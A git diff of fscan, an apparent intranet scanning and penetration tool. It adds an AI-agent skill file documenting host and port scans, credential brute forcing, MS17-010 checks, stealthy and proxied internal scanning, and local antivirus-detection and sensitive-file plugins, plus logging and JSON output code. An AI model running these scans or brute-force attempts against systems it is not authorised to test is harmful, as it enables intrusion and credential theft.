diff --git a/.github/conf/.goreleaser.yml b/.github/conf/.goreleaser.yml index 37e2173..9187500 100644 --- a/.github/conf/.goreleaser.yml +++ b/.github/conf/.goreleaser.yml @@ -16,7 +16,7 @@ builds: - CGO_ENABLED=0 goos: [windows, linux, darwin, freebsd, solaris] goarch: [amd64, arm64, "386", arm, mips, mips64, mipsle] - goarm: ["6", "7"] + goarm: ["5", "6", "7"] gomips: [softfloat] ignore: - goos: darwin @@ -69,7 +69,7 @@ builds: - CGO_ENABLED=0 goos: [windows, linux, darwin, freebsd, solaris] goarch: [amd64, arm64, "386", arm, mips, mips64, mipsle] - goarm: ["6", "7"] + goarm: ["5", "6", "7"] gomips: [softfloat] ignore: - goos: darwin @@ -231,10 +231,10 @@ release: | 平台 | 架构 | |------|------| - | Linux | x64, x32, arm64, armv6, armv7, mips, mips64, mipsle | + | Linux | x64, x32, arm64, armv5, armv6, armv7, mips, mips64, mipsle | | Windows | x64, x32 | | macOS | x64, arm64 | - | FreeBSD | x64, x32, arm64, armv6, armv7 | + | FreeBSD | x64, x32, arm64, armv5, armv6, armv7 | | Solaris | x64 | footer: | **完整更新日志**: https://github.com/{{ .Env.GITHUB_OWNER }}/{{ .Env.GITHUB_REPO }}/compare/{{ .PreviousTag }}...{{ .Tag }} diff --git a/.github/workflows/test-build.yml b/.github/workflows/test-build.yml index 73ad33d..f78b56c 100644 --- a/.github/workflows/test-build.yml +++ b/.github/workflows/test-build.yml @@ -55,8 +55,8 @@ jobs: - name: 运行 golangci-lint run: | - # 下载 golangci-lint v2 - curl -sSfL https://raw.githubusercontent.com/golangci/golangci-lint/master/install.sh | sh -s -- -b $(go env GOPATH)/bin latest + # 安装 golangci-lint v2 + go install github.com/golangci/golangci-lint/v2/cmd/golangci-lint@v2.12.1 # 运行检查并灵活处理结果 set +e diff --git a/SKILL.md b/SKILL.md new file mode 100644 index 0000000..b0b51d2 --- /dev/null +++ b/SKILL.md @@ -0,0 +1,304 @@ +--- +name: fscan-agent +description: 使用 fscan 进行网络扫描和安全评估。当用户要求扫描网段、探测主机存活、发现开放端口、识别服务、检测漏洞或弱口令时使用。支持 NDJSON 结构化输出,适合 AI agent 管道消费。 +argument-hint: <目标IP/网段> [附加参数] +allowed-tools: Bash, Read, Agent +--- + +# Fscan AI Agent Skill + +## 工具概述 + +Fscan 是一款内网综合扫描工具,功能包括: +- 主机存活探测(ICMP / TCP) +- 端口扫描与服务识别 +- 漏洞检测(MS17-010、Redis 未授权等) +- 弱口令爆破(SSH、SMB、MySQL、MSSQL、FTP、RDP 等) +- Web 指纹识别与 POC 扫描 +- NetBIOS / SMB 信息收集 +- 本地信息收集(杀软检测、系统信息等) + +二进制路径:当前项目编译产物 `fscan_cli`,或系统 PATH 中的 `fscan`。 + +## 调用格式 + +```bash +# AI agent 标准用法:NDJSON 输出,无人类日志干扰 +fscan -h <目标> -silent [其他参数] + +# 解析输出 +fscan -h 192.168.1.0/24 -silent | jq 'select(.type=="VULN")' +``` + +## 核心参数 + +### 目标指定 + +| 参数 | 说明 | 示例 | +|------|------|------| +| `-h` | 目标主机(IP / CIDR / 范围) | `-h 192.168.1.0/24` `-h 10.0.0.1-10.0.0.100` | +| `-hf` | 从文件读取目标 | `-hf targets.txt` | +| `-p` | 指定端口(逗号/范围) | `-p 22,80,443,445,3306` `-p 1-1000` | +| `-ep` | 排除端口 | `-ep 25,110` | +| `-eh` | 排除主机 | `-eh 192.168.1.1` | +| `-u` | 指定 URL(Web 扫描) | `-u https://example.com` | +| `-uf` | URL 文件 | `-uf urls.txt` | + +### 扫描控制 + +| 参数 | 说明 | 默认值 | +|------|------|--------| +| `-m` | 扫描模式 | `all` | +| `-t` | 端口扫描线程数 | `600` | +| `-mt` | 模块线程数 | `20` | +| `-time` | 连接超时(秒) | `3` | +| `-gt` | 全局超时(秒) | `180` | +| `-np` | 跳过存活检测 | `false` | +| `-ntp` | 禁用 TCP 补充探测 | `false` | +| `-ao` | 仅存活检测 | `false` | +| `-nobr` | 禁用暴力破解 | `false` | +| `-full` | 全量 POC 扫描 | `false` | +| `-max-retries` | 最大重试次数 | `1` | + +### 认证 + +| 参数 | 说明 | +|------|------| +| `-user` | 用户名 | +| `-pwd` | 密码 | +| `-usera` | 追加用户名 | +| `-pwda` | 追加密码 | +| `-userf` | 用户名字典文件 | +| `-pwdf` | 密码字典文件 | +| `-domain` | 域名(SMB/WMI) | +| `-sshkey` | SSH 私钥文件 | +| `-hash` / `-hashf` | NTLM Hash / Hash 文件 | + +### 代理 + +| 参数 | 说明 | +|------|------| +| `-socks5` | SOCKS5 代理 (`127.0.0.1:1080`) | +| `-proxy` | HTTP 代理 (`http://127.0.0.1:8080`) | +| `-iface` | 指定本地网卡 IP(VPN 场景) | + +### 输出 + +| 参数 | 说明 | +|------|------| +| `-silent` | 静默模式:stdout 仅输出 NDJSON | +| `-o` | 输出文件路径(默认 `result.txt`) | +| `-f` | 输出格式:`txt` / `json` / `csv` | +| `-no` | 禁用文件保存 | +| `-debug` | 调试模式:日志写入 `fscan_debug.log` | +| `-log` | 日志级别(`debug` / `info` / `base` / `error`) | + +### 扫描模式 `-m` 的取值 + +| 值 | 说明 | +|------|------| +| `all` | 全部扫描(默认) | +| `icmp` | 仅 ICMP 存活检测 | +| 插件名 | 仅运行指定插件(如 `ssh`、`smb`、`ms17010`、`webtitle`) | + +## 服务插件列表 + +| 插件 | 默认端口 | 功能 | +|------|----------|------| +| `ftp` | 21 | FTP 弱口令 | +| `ssh` | 22 | SSH 弱口令 | +| `telnet` | 23 | Telnet 弱口令 | +| `smtp` | 25 | SMTP 弱口令 | +| `findnet` | 135 | RPC 网络信息发现(NetInfo) | +| `netbios` | 139 | NetBIOS 信息收集 | +| `smb` | 445 | SMB 弱口令 | +| `ms17010` | 445 | MS17-010 永恒之蓝检测 | +| `ldap` | 389 | LDAP 弱口令 | +| `mssql` | 1433 | MSSQL 弱口令 | +| `oracle` | 1521 | Oracle 弱口令 | +| `mysql` | 3306 | MySQL 弱口令 | +| `rdp` | 3389 | RDP 弱口令 + 系统信息 | +| `postgresql` | 5432 | PostgreSQL 弱口令 | +| `vnc` | 5900 | VNC 弱口令 | +| `redis` | 6379 | Redis 未授权 + 弱口令 | +| `elasticsearch` | 9200 | ES 未授权 | +| `mongodb` | 27017 | MongoDB 未授权 + 弱口令 | +| `memcached` | 11211 | Memcached 未授权 | +| `kafka` | 9092 | Kafka 未授权 | +| `activemq` | 61616 | ActiveMQ 弱口令 | +| `rabbitmq` | 5672 | RabbitMQ 弱口令 | +| `cassandra` | 9042 | Cassandra 弱口令 | +| `neo4j` | 7687 | Neo4j 弱口令 | +| `rsync` | 873 | Rsync 未授权 | +| `webtitle` | 80/443 | Web 标题 + 指纹识别 | +| `webpoc` | 80/443 | Web 漏洞 POC | + +## 本地插件(`-local`) + +```bash +fscan -local avdetect # 杀软检测 +fscan -local systeminfo # 系统信息收集 +fscan -local envinfo # 环境变量信息 +fscan -local dcinfo # 域控信息 +fscan -local fileinfo # 敏感文件搜索 +``` + +## NDJSON 输出 Schema(`-silent` 模式) + +每行一个 JSON 对象,所有字段定义: + +| 字段 | 类型 | 出现条件 | 说明 | +|------|------|----------|------| +| `type` | string | 必有 | `HOST` / `PORT` / `SERVICE` / `VULN` | +| `target` | string | 必有 | 原始目标 `host` 或 `host:port` | +| `status` | string | 必有 | 状态描述 | +| `host` | string | 必有 | IP 地址 | +| `port` | int | PORT/SERVICE/VULN | 端口号 | +| `service` | string | SERVICE/VULN | 服务名(ssh, smb, http 等) | +| `protocol` | string | HOST/SERVICE | 协议(ICMP, TCP, http, https) | +| `banner` | string | SERVICE | 服务 Banner | +| `title` | string | SERVICE (web) | 网页标题 | +| `url` | string | SERVICE (web) | 完整 URL | +| `vulnerability` | string | VULN | 漏洞名称 | +| `username` | string | VULN (弱口令) | 用户名 | +| `password` | string | VULN (弱口令) | 密码 | +| `plugin` | string | SERVICE/VULN | 产生结果的插件名 | +| `version` | string | SERVICE | 服务版本号 | +| `os` | string | SERVICE | 操作系统信息 | + +### 输出示例 + +```jsonl +{"type":"HOST","target":"192.168.1.5","status":"alive","host":"192.168.1.5","protocol":"ICMP"} +{"type":"PORT","target":"192.168.1.5","status":"open","host":"192.168.1.5","port":22} +{"type":"PORT","target":"192.168.1.5","status":"open","host":"192.168.1.5","port":445} +{"type":"SERVICE","target":"192.168.1.5:22","status":"identified","host":"192.168.1.5","port":22,"service":"ssh","banner":"SSH-2.0-OpenSSH_8.9p1","version":"8.9p1","plugin":"portscan"} +{"type":"SERVICE","target":"192.168.1.5:80","status":"web","host":"192.168.1.5","port":80,"service":"http","protocol":"http","url":"http://192.168.1.5:80","title":"Welcome","plugin":"webtitle"} +{"type":"VULN","target":"192.168.1.5:445","status":"MS17-010 (Windows Server 2012 R2 Standard 9600)","host":"192.168.1.5","port":445,"vulnerability":"MS17-010","service":"smb","plugin":"ms17010"} +{"type":"VULN","target":"192.168.1.5:22","status":"weak_credential: root:123456","host":"192.168.1.5","port":22,"service":"ssh","username":"root","password":"123456","plugin":"ssh"} +{"type":"VULN","target":"192.168.1.5:6379","status":"Redis unauthorized","host":"192.168.1.5","port":6379,"vulnerability":"Redis unauthorized access","service":"redis","plugin":"redis"} +``` + +### 结果产出顺序 + +1. `HOST` — 存活探测阶段 +2. `PORT` — 端口扫描阶段(与 SERVICE 可能交错) +3. `SERVICE` — 服务识别阶段 +4. `VULN` — 漏洞/弱口令检测阶段 + +同一 `host:port` 可产生多条结果(PORT + SERVICE + VULN)。 + +## 常用场景参数组合 + +### 全网段快速扫描 + +```bash +fscan -h 192.168.1.0/24 -silent +``` + +### 跳过存活检测直接扫端口(目标明确时) + +```bash +fscan -h 192.168.1.0/24 -silent -np +``` + +### 指定端口精确扫描 + +```bash +fscan -h 10.0.0.0/24 -silent -p 22,80,443,445,3389,3306,6379 +``` + +### 仅存活探测 + +```bash +fscan -h 172.16.0.0/16 -silent -m icmp +``` + +### 低速隐蔽扫描 + +```bash +fscan -h 192.168.1.0/24 -silent -t 30 -time 5 +``` + +### 通过 SOCKS5 代理扫描内网 + +```bash +fscan -h 10.0.0.0/24 -silent -socks5 127.0.0.1:1080 +``` + +### 仅做弱口令检测 + +```bash +fscan -h 192.168.1.10 -silent -m ssh -user root -pwdf /path/to/passwords.txt +``` + +### Web 目标扫描 + +```bash +fscan -u https://target.com -silent -full +``` + +### 多目标文件批量扫描 + +```bash +fscan -hf targets.txt -silent -o results.json -f json +``` + +### 带调试日志的排障扫描 + +```bash +# NDJSON 到 stdout,debug 日志到文件,互不干扰 +fscan -h 192.168.1.0/24 -silent -debug +# 事后查看:cat fscan_debug.log +``` + +## AI Agent 结果处理 + +### Python 管道消费 + +```python +import json, subprocess + +proc = subprocess.Popen( + ["fscan", "-h", "192.168.1.0/24", "-silent"], + stdout=subprocess.PIPE, text=True +) + +hosts, services, vulns = [], [], [] +for line in proc.stdout: + r = json.loads(line) + if r["type"] == "HOST": + hosts.append(r["host"]) + elif r["type"] == "SERVICE": + services.append(r) + elif r["type"] == "VULN": + vulns.append(r) + +proc.wait() +``` + +### jq 过滤 + +```bash +# 提取所有弱口令 +fscan -h 10.0.0.0/24 -silent | jq -r 'select(.username != null) | "\(.host):\(.port) \(.service) \(.username):\(.password)"' + +# 提取所有漏洞 +fscan -h 10.0.0.0/24 -silent | jq -r 'select(.type=="VULN") | "\(.host):\(.port) \(.vulnerability)"' + +# 提取 Web 服务 +fscan -h 10.0.0.0/24 -silent | jq -r 'select(.url != null) | "\(.url) \(.title)"' + +# 统计开放端口 +fscan -h 10.0.0.0/24 -silent | jq -r 'select(.type=="PORT") | .port' | sort -n | uniq -c | sort -rn +``` + +## 注意事项 + +- `-silent` 抑制所有人类可读日志,stdout 仅输出 NDJSON +- 空字段不出现在 JSON 中(`omitempty`) +- 进程退出码 `0` 正常完成,非 `0` 表示参数错误或初始化失败 +- `-silent` 和 `-debug` 可同时使用,互不干扰 +- SOCKS5 代理下 fscan 信任协议层连接结果,不做额外深度验证 +- 扫描大网段时线程数会自动调整,资源耗尽时自适应降级 +- 默认超时 3 秒,防火墙 drop 的端口会静默超时,不计入失败率 diff --git a/common/config_builder.go b/common/config_builder.go index 331f8d7..0d7ff8b 100644 --- a/common/config_builder.go +++ b/common/config_builder.go @@ -100,6 +100,8 @@ func parseUsernames(fv *FlagVars) []string { if fv.UsersFile != "" { if lines, err := parsers.ReadLinesFromFile(fv.UsersFile); err == nil { usernames = append(usernames, lines...) + } else { + LogError(fmt.Sprintf("读取用户名文件 %s 失败: %v", fv.UsersFile, err)) } } @@ -128,6 +130,8 @@ func parsePasswords(fv *FlagVars) []string { if fv.PasswordsFile != "" { if lines, err := parsers.ReadLinesFromFile(fv.PasswordsFile); err == nil { passwords = append(passwords, lines...) + } else { + LogError(fmt.Sprintf("读取密码文件 %s 失败: %v", fv.PasswordsFile, err)) } } @@ -246,6 +250,8 @@ func parseURLs(fv *FlagVars) []string { for _, line := range lines { urls = append(urls, normalizeURL(line)) } + } else { + LogError(fmt.Sprintf("读取URL文件 %s 失败: %v", fv.URLsFile, err)) } } diff --git a/common/config_struct.go b/common/config_struct.go index 1e171e6..9be2534 100644 --- a/common/config_struct.go +++ b/common/config_struct.go @@ -27,6 +27,7 @@ type Config struct { ModuleThreadNum int // 模块线程数 DisableBrute bool // 禁用暴力破解 DisablePing bool // 禁用Ping检测 + DisableTcpProbe bool // 禁用TCP补充探测 // 扫描模式 Mode string // 扫描模式 @@ -147,6 +148,7 @@ func NewConfig() *Config { ModuleThreadNum: 10, DisableBrute: false, DisablePing: false, + DisableTcpProbe: false, // 扫描模式 Mode: DefaultScanMode, diff --git a/common/dns_cache.go b/common/dns_cache.go new file mode 100644 index 0000000..b12f514 --- /dev/null +++ b/common/dns_cache.go @@ -0,0 +1,28 @@ +package common + +import ( + "net" + "sync" +) + +// DNSCache 并发安全的 DNS 解析缓存 +// 对纯 IP 输入零开销(直接返回),对域名避免重复系统调用 +var DNSCache = &dnsCache{} + +type dnsCache struct { + m sync.Map // host -> *net.IPAddr +} + +// ResolveIP 解析 host 为 *net.IPAddr,结果缓存 +func (c *dnsCache) ResolveIP(host string) (*net.IPAddr, error) { + if v, ok := c.m.Load(host); ok { + addr, _ := v.(*net.IPAddr) + return addr, nil + } + addr, err := net.ResolveIPAddr("ip", host) + if err != nil { + return nil, err + } + c.m.Store(host, addr) + return addr, nil +} diff --git a/common/flag.go b/common/flag.go index c5951a7..00ccabe 100644 --- a/common/flag.go +++ b/common/flag.go @@ -109,6 +109,7 @@ func Flag(Info *HostInfo) error { flag.IntVar(&fv.ModuleThreadNum, "mt", 20, i18n.GetText("flag_module_thread_num")) flag.Int64Var(&fv.GlobalTimeout, "gt", 180, i18n.GetText("flag_global_timeout")) flag.BoolVar(&fv.DisablePing, "np", false, i18n.GetText("flag_disable_ping")) + flag.BoolVar(&fv.DisableTcpProbe, "ntp", false, i18n.GetText("flag_disable_tcp_probe")) flag.StringVar(&fv.LocalPlugin, "local", "", "指定本地插件名称 (如: cleaner, avdetect, keylogger 等)") flag.BoolVar(&fv.AliveOnly, "ao", false, i18n.GetText("flag_alive_only")) @@ -181,6 +182,7 @@ func Flag(Info *HostInfo) error { flag.BoolVar(&fv.Silent, "silent", false, i18n.GetText("flag_silent_mode")) flag.BoolVar(&fv.NoColor, "nocolor", false, i18n.GetText("flag_no_color")) flag.StringVar(&fv.LogLevel, "log", LogLevelBaseInfoSuccess, i18n.GetText("flag_log_level")) + flag.BoolVar(&fv.Debug, "debug", false, i18n.GetText("flag_debug")) flag.BoolVar(&fv.DisableProgress, "nopg", false, i18n.GetText("flag_disable_progress")) flag.BoolVar(&fv.PerfStats, "perf", false, "输出性能统计JSON") @@ -284,6 +286,11 @@ func shouldShowHelp(Info *HostInfo, fv *FlagVars) bool { func checkParameterConflicts() error { fv := flagVars + // -debug 等价于 -log debug + if fv.Debug { + fv.LogLevel = LogLevelDebug + } + // 检查 -ao 和 -m icmp 同时指定的情况(向后兼容提示) if fv.AliveOnly && fv.ScanMode == "icmp" { LogInfo(i18n.GetText("param_conflict_ao_icmp_both")) diff --git a/common/flag_config.go b/common/flag_config.go index 92273ed..cca579b 100644 --- a/common/flag_config.go +++ b/common/flag_config.go @@ -36,6 +36,7 @@ type FlagVars struct { TimeoutSec int64 // 秒,需转换为 time.Duration GlobalTimeout int64 DisablePing bool + DisableTcpProbe bool LocalPlugin string AliveOnly bool DisableBrute bool @@ -94,6 +95,7 @@ type FlagVars struct { Silent bool NoColor bool LogLevel string + Debug bool DisableProgress bool PerfStats bool Language string @@ -137,6 +139,7 @@ func BuildConfigFromFlags(fv *FlagVars) *Config { ModuleThreadNum: fv.ModuleThreadNum, DisableBrute: fv.DisableBrute, DisablePing: fv.DisablePing, + DisableTcpProbe: fv.DisableTcpProbe, // 扫描模式 Mode: fv.ScanMode, diff --git a/common/globals.go b/common/globals.go index fd0ddc8..f749ad2 100644 --- a/common/globals.go +++ b/common/globals.go @@ -62,7 +62,7 @@ const ( // 版本信息,通过 ldflags 注入 var ( - version = "2.1.2" + version = "2.1.3" commit = "unknown" date = "unknown" ) diff --git a/common/i18n/locales/en.yaml b/common/i18n/locales/en.yaml index f67c90a..9d7c58c 100644 --- a/common/i18n/locales/en.yaml +++ b/common/i18n/locales/en.yaml @@ -28,6 +28,10 @@ flag_global_timeout: other: "Global timeout" flag_disable_ping: other: "Disable ping detection" +flag_disable_tcp_probe: + other: "Disable TCP supplementary probe" +flag_debug: + other: "Enable debug mode, write logs to fscan_debug.log" flag_alive_only: other: "Alive detection only" flag_username: @@ -341,6 +345,8 @@ port_open: other: "Port open {{.Arg1}}" port_open_http: other: "Port open {{.Arg1}} [http](HTTP probe)" +port_scan_no_alive_subnet: + other: "Subnet probe found no alive subnets, skipping port scan" # ========================= Local Scan Messages ========================= local_plugin_info: @@ -426,6 +432,8 @@ telnet_unauth_rce: other: "Telnet {{.Arg1}} unauthorized RCE [{{.Arg2}}] {{.Arg3}}" telnet_credential_rce: other: "Telnet {{.Arg1}} {{.Arg2}}:{{.Arg3}} RCE verified [{{.Arg4}}] {{.Arg5}}" +telnet_cve202624061: + other: "Telnet {{.Arg1}} CVE-2026-24061 Telnetd Authentication Bypass (user: {{.Arg2}}) {{.Arg3}}" cassandra_credential: other: "Cassandra {{.Arg1}} {{.Arg2}}:{{.Arg3}}" cassandra_service: diff --git a/common/i18n/locales/zh.yaml b/common/i18n/locales/zh.yaml index 77069b1..dfa506f 100644 --- a/common/i18n/locales/zh.yaml +++ b/common/i18n/locales/zh.yaml @@ -28,6 +28,10 @@ flag_global_timeout: other: "全局超时时间" flag_disable_ping: other: "禁用ping探测" +flag_disable_tcp_probe: + other: "禁用TCP补充探测" +flag_debug: + other: "开启调试模式,日志写入fscan_debug.log" flag_alive_only: other: "仅进行存活探测" flag_username: @@ -341,6 +345,8 @@ port_open: other: "端口开放 {{.Arg1}}" port_open_http: other: "端口开放 {{.Arg1}} [http](HTTP探测)" +port_scan_no_alive_subnet: + other: "网段预筛未发现存活子网,跳过端口扫描" # ========================= 本地扫描消息 ========================= local_plugin_info: @@ -426,6 +432,8 @@ telnet_unauth_rce: other: "Telnet {{.Arg1}} 未授权访问且可执行命令 [{{.Arg2}}] {{.Arg3}}" telnet_credential_rce: other: "Telnet {{.Arg1}} {{.Arg2}}:{{.Arg3}} 命令执行验证成功 [{{.Arg4}}] {{.Arg5}}" +telnet_cve202624061: + other: "Telnet {{.Arg1}} CVE-2026-24061 Telnet认证绕过 (用户: {{.Arg2}}) {{.Arg3}}" cassandra_credential: other: "Cassandra {{.Arg1}} {{.Arg2}}:{{.Arg3}}" cassandra_service: diff --git a/common/initialize.go b/common/initialize.go index f879463..fbebf84 100644 --- a/common/initialize.go +++ b/common/initialize.go @@ -13,9 +13,10 @@ initialize.go - 统一初始化入口 // InitResult 初始化结果 type InitResult struct { - Config *Config - State *State - Info *HostInfo + Config *Config + State *State + Info *HostInfo + Session *ScanSession } // Initialize 统一初始化函数 @@ -39,10 +40,13 @@ func Initialize(info *HostInfo) (*InitResult, error) { return nil, fmt.Errorf("输出初始化失败: %w", err) } + session := NewScanSession(cfg, state, GetFlagVars()) + return &InitResult{ - Config: cfg, - State: state, - Info: info, + Config: cfg, + State: state, + Info: info, + Session: session, }, nil } diff --git a/common/logger.go b/common/logger.go index 0bd0307..323a013 100644 --- a/common/logger.go +++ b/common/logger.go @@ -27,8 +27,12 @@ func getGlobalLogger() *logging.Logger { EnableColor: !fv.NoColor, SlowOutput: false, ShowProgress: !fv.DisableProgress, + Silent: fv.Silent, StartTime: GetGlobalState().GetStartTime(), } + if fv.Debug { + config.DebugLogFile = "fscan_debug.log" + } globalLogger = logging.NewLogger(config) globalLogger.SetCoordinatedOutput(LogWithProgress) }) @@ -77,3 +81,10 @@ func LogVuln(result string) { getGlobalLogger().Vuln(result) } // LogError 输出错误日志 func LogError(errMsg string) { getGlobalLogger().Error(errMsg) } + +// CloseLogger 关闭日志系统,释放文件资源 +func CloseLogger() { + if globalLogger != nil { + globalLogger.Close() + } +} diff --git a/common/logging/logger.go b/common/logging/logger.go index c0a5dc0..ede28f7 100644 --- a/common/logging/logger.go +++ b/common/logging/logger.go @@ -2,6 +2,7 @@ package logging import ( "fmt" + "os" "strings" "sync" "time" @@ -24,8 +25,10 @@ type LoggerConfig struct { EnableColor bool `json:"enable_color"` SlowOutput bool `json:"slow_output"` ShowProgress bool `json:"show_progress"` + Silent bool `json:"silent"` StartTime time.Time `json:"start_time"` LevelColors map[LogLevel]interface{} `json:"-"` + DebugLogFile string `json:"debug_log_file"` } // DefaultLoggerConfig 默认日志器配置 @@ -47,6 +50,7 @@ type Logger struct { startTime time.Time coordinatedOutput func(string) initialized bool + debugFile *os.File } // NewLogger 创建新的日志管理器 @@ -55,11 +59,20 @@ func NewLogger(config *LoggerConfig) *Logger { config = DefaultLoggerConfig() } - return &Logger{ + l := &Logger{ config: config, startTime: config.StartTime, initialized: true, } + + if config.DebugLogFile != "" { + f, err := os.OpenFile(config.DebugLogFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644) + if err == nil { + l.debugFile = f + } + } + + return l } // Initialize 初始化日志器 @@ -111,6 +124,10 @@ func (l *Logger) log(level LogLevel, content string) { l.mu.Lock() defer l.mu.Unlock() + if l.config.Silent { + return + } + if !l.shouldLog(level) { return } @@ -134,12 +151,37 @@ func (l *Logger) log(level LogLevel, content string) { l.outputMessage(level, logMsg) } + // 写入debug日志文件(纯文本,无颜色) + if l.debugFile != nil { + timestamp := time.Since(l.startTime).Truncate(time.Millisecond) + if strings.Contains(content, "\n") { + lines := strings.Split(content, "\n") + for _, line := range lines { + if line != "" { + _, _ = fmt.Fprintf(l.debugFile, "[%s] %s %s\n", timestamp, prefix, line) + } + } + } else { + _, _ = fmt.Fprintf(l.debugFile, "[%s] %s %s\n", timestamp, prefix, content) + } + } + // 根据慢速输出设置决定是否添加延迟 if l.config.SlowOutput { time.Sleep(SlowOutputDelay) } } +// Close 关闭日志器,释放文件资源 +func (l *Logger) Close() { + l.mu.Lock() + defer l.mu.Unlock() + if l.debugFile != nil { + _ = l.debugFile.Close() + l.debugFile = nil + } +} + // shouldLog 检查是否应该记录该级别的日志 // 层级过滤:消息级别 >= 配置级别 时显示,Error 始终显示 func (l *Logger) shouldLog(level LogLevel) bool { diff --git a/common/network.go b/common/network.go index b1e62c0..1fa304f 100644 --- a/common/network.go +++ b/common/network.go @@ -102,11 +102,9 @@ func createProxyConfig(timeout time.Duration) *proxy.ProxyConfig { // TCP 连接 // ============================================================================= -// WrapperTcpWithTimeout TCP连接包装器,带超时 -// 支持通过代理管理器进行SOCKS5和HTTP代理连接,并集成发包控制 -// 使用全局拨号器复用连接,避免重复创建代理握手开销 +// Deprecated: WrapperTcpWithTimeout 仅供 mylib/grdp 兼容使用,新代码请用 ScanSession.DialTCP // -//nolint:revive // 保持向后兼容性,避免破坏大量现有代码 +//nolint:revive func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) { // 检查发包限制 - 在代理连接前进行控制 if canSend, reason := CanSendPacket(); !canSend { @@ -158,6 +156,11 @@ func IsProxyReliable() bool { return proxy.IsProxyReliable() } +// IsSOCKS5Proxy 检查当前代理是否为SOCKS5类型 +func IsSOCKS5Proxy() bool { + return proxy.IsSOCKS5Proxy() +} + // SafeHTTPDo 带发包控制的HTTP请求 func SafeHTTPDo(client *http.Client, req *http.Request) (*http.Response, error) { // 检查发包限制 diff --git a/common/output/buffer.go b/common/output/buffer.go index 28b29f2..35efaae 100644 --- a/common/output/buffer.go +++ b/common/output/buffer.go @@ -59,7 +59,8 @@ func (b *ResultBuffer) Add(result *ScanResult) { b.seenServices[key] = len(b.ServiceResults) b.ServiceResults = append(b.ServiceResults, result) } else { - // 保留信息更完整的记录 + b.mergeDetails(b.ServiceResults[idx], result) + // 保留信息更完整的记录,同时保留另一条记录补充的字段 if b.isMoreComplete(result, b.ServiceResults[idx]) { b.ServiceResults[idx] = result } @@ -72,6 +73,28 @@ func (b *ResultBuffer) Add(result *ScanResult) { } } +func (b *ResultBuffer) mergeDetails(oldResult, newResult *ScanResult) { + if oldResult == nil || newResult == nil { + return + } + if oldResult.Details == nil { + oldResult.Details = make(map[string]interface{}) + } + if newResult.Details == nil { + newResult.Details = make(map[string]interface{}) + } + for k, v := range oldResult.Details { + if _, exists := newResult.Details[k]; !exists { + newResult.Details[k] = v + } + } + for k, v := range newResult.Details { + if _, exists := oldResult.Details[k]; !exists { + oldResult.Details[k] = v + } + } +} + // generateKey 生成结果的唯一键(用于去重) func (b *ResultBuffer) generateKey(result *ScanResult) string { switch result.Type { diff --git a/common/output/buffer_test.go b/common/output/buffer_test.go index d4d36ab..86872ed 100644 --- a/common/output/buffer_test.go +++ b/common/output/buffer_test.go @@ -226,6 +226,40 @@ func TestResultBuffer_ServiceUpdate(t *testing.T) { } } +func TestResultBuffer_ServiceUpdateMergesDetails(t *testing.T) { + buf := NewResultBuffer() + + buf.Add(&ScanResult{ + Type: TypeService, + Target: "192.168.1.1:80", + Status: "identified", + Details: map[string]interface{}{ + "service": "http", + "banner": "HTTP/1.1 200 OK", + }, + }) + buf.Add(&ScanResult{ + Type: TypeService, + Target: "192.168.1.1:80", + Status: "web", + Details: map[string]interface{}{ + "title": "Home", + "status": 200, + "server": "nginx", + }, + }) + + if len(buf.ServiceResults) != 1 { + t.Fatalf("期望1条服务记录,实际 %d", len(buf.ServiceResults)) + } + details := buf.ServiceResults[0].Details + for _, key := range []string{"service", "banner", "title", "status", "server"} { + if _, ok := details[key]; !ok { + t.Errorf("合并后的服务记录缺少字段 %q: %#v", key, details) + } + } +} + // TestResultBuffer_ServiceNoDowngrade 测试不降级服务记录 // // 当新记录不如旧记录完整时,不应替换 diff --git a/common/output/stdout_writer.go b/common/output/stdout_writer.go new file mode 100644 index 0000000..80f38f5 --- /dev/null +++ b/common/output/stdout_writer.go @@ -0,0 +1,145 @@ +package output + +import ( + "bufio" + "encoding/json" + "fmt" + "os" + "strings" + "sync" +) + +type StdoutNDJSONWriter struct { + mu sync.Mutex + writer *bufio.Writer +} + +func NewStdoutNDJSONWriter() *StdoutNDJSONWriter { + return &StdoutNDJSONWriter{ + writer: bufio.NewWriter(os.Stdout), + } +} + +// ndjsonRecord NDJSON 输出的扁平化结构 +type ndjsonRecord struct { + Type ResultType `json:"type"` + Target string `json:"target"` + Status string `json:"status"` + Host string `json:"host,omitempty"` + Port int `json:"port,omitempty"` + Service string `json:"service,omitempty"` + // 通用可选字段 + Protocol string `json:"protocol,omitempty"` + Banner string `json:"banner,omitempty"` + Title string `json:"title,omitempty"` + URL string `json:"url,omitempty"` + // 漏洞/弱口令 + Vulnerability string `json:"vulnerability,omitempty"` + Username string `json:"username,omitempty"` + Password string `json:"password,omitempty"` + // 其他 + Plugin string `json:"plugin,omitempty"` + Version string `json:"version,omitempty"` + OS string `json:"os,omitempty"` +} + +func (w *StdoutNDJSONWriter) WriteResult(result *ScanResult) error { + w.mu.Lock() + defer w.mu.Unlock() + + rec := w.flatten(result) + data, err := json.Marshal(rec) + if err != nil { + return err + } + data = append(data, '\n') + if _, err := w.writer.Write(data); err != nil { + return err + } + return w.writer.Flush() +} + +func (w *StdoutNDJSONWriter) flatten(r *ScanResult) *ndjsonRecord { + rec := &ndjsonRecord{ + Type: r.Type, + Target: r.Target, + Status: r.Status, + } + + // 从 target 拆分 host:port + if host, port, ok := splitHostPort(r.Target); ok { + rec.Host = host + rec.Port = port + } else { + rec.Host = r.Target + } + + d := r.Details + if d == nil { + return rec + } + + // 从 details 提升一级字段(覆盖拆分结果) + if v, ok := d["port"]; ok { + if p, ok := toInt(v); ok { + rec.Port = p + } + } + + rec.Service = strVal(d, "service") + rec.Protocol = strVal(d, "protocol") + rec.Banner = strVal(d, "banner") + rec.Title = strVal(d, "title") + rec.URL = strVal(d, "url") + rec.Vulnerability = strVal(d, "vulnerability") + rec.Username = strVal(d, "username") + rec.Password = strVal(d, "password") + rec.Plugin = strVal(d, "plugin") + rec.Version = strVal(d, "version") + rec.OS = strVal(d, "os") + + return rec +} + +func (w *StdoutNDJSONWriter) Close() error { + w.mu.Lock() + defer w.mu.Unlock() + return w.writer.Flush() +} + +func strVal(d map[string]interface{}, key string) string { + v, ok := d[key] + if !ok { + return "" + } + s, ok := v.(string) + if !ok { + return fmt.Sprintf("%v", v) + } + return s +} + +func toInt(v interface{}) (int, bool) { + switch n := v.(type) { + case int: + return n, true + case int64: + return int(n), true + case float64: + return int(n), true + } + return 0, false +} + +func splitHostPort(target string) (string, int, bool) { + idx := strings.LastIndex(target, ":") + if idx < 0 { 